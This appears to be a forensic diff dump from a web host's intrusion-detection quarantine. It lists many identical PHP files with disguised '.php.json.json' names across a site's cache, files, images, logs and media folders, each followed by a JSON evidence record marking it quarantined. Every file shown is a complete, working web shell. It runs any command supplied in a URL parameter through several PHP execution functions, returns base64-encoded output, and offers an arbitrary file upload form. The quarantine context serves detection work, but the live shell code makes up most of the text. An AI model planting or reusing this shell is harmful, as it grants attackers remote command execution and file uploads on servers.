+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/cache/_h3x_9zbnowsb.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5020",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:cache/_h3x_9zbnowsb.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/_h3x_9zbnowsb.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783699440,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "cache/_h3x_9zbnowsb.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/cache/_h3x_e4pk161f.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/cache/_h3x_e4pk161f.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5024",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:cache/_h3x_e4pk161f.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/_h3x_e4pk161f.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783700161,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "cache/_h3x_e4pk161f.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/cache/_h3x_r16oprou.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/cache/_h3x_r16oprou.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5016",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:cache/_h3x_r16oprou.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/cache/_h3x_r16oprou.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783837753,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "cache/_h3x_r16oprou.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/files/_h3x_2hjfdfr5.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/files/_h3x_2hjfdfr5.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5285",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:files/_h3x_2hjfdfr5.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/files/_h3x_2hjfdfr5.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783837758,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "files/_h3x_2hjfdfr5.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/files/_h3x_aqjg408i.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/files/_h3x_aqjg408i.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5286",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:files/_h3x_aqjg408i.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/files/_h3x_aqjg408i.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783700163,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "files/_h3x_aqjg408i.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/files/_h3x_vp8mjkv7.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/files/_h3x_vp8mjkv7.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5287",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:files/_h3x_vp8mjkv7.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/files/_h3x_vp8mjkv7.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783699442,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "files/_h3x_vp8mjkv7.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/images/_h3x_hzba1jvm.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/images/_h3x_hzba1jvm.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5188",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_hzba1jvm.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_hzba1jvm.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783699438,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_hzba1jvm.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/images/_h3x_je0zgowm.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/images/_h3x_je0zgowm.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5184",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_je0zgowm.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_je0zgowm.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783837750,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_je0zgowm.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/images/_h3x_ott0201u.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/images/_h3x_ott0201u.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5198",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_ott0201u.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_ott0201u.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783700159,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_ott0201u.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/logs/_h3x_hzuz4jb8.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/logs/_h3x_hzuz4jb8.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5306",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:logs/_h3x_hzuz4jb8.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/logs/_h3x_hzuz4jb8.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783699441,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "logs/_h3x_hzuz4jb8.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/logs/_h3x_nbmlj4wd.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/logs/_h3x_nbmlj4wd.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5300",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:logs/_h3x_nbmlj4wd.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/logs/_h3x_nbmlj4wd.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783700162,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "logs/_h3x_nbmlj4wd.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/logs/_h3x_nyg1j0r2.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/logs/_h3x_nyg1j0r2.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5303",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:logs/_h3x_nyg1j0r2.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/logs/_h3x_nyg1j0r2.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783837755,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "logs/_h3x_nyg1j0r2.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/media/_h3x_hn5jabjv.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archlinexp.eu/www/media/_h3x_hn5jabjv.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4996",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:media/_h3x_hn5jabjv.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/_h3x_hn5jabjv.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783699440,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "media/_h3x_hn5jabjv.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}

var/www/hosting/archlinexp.eu/www/media/_h3x_qkrfp39e.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
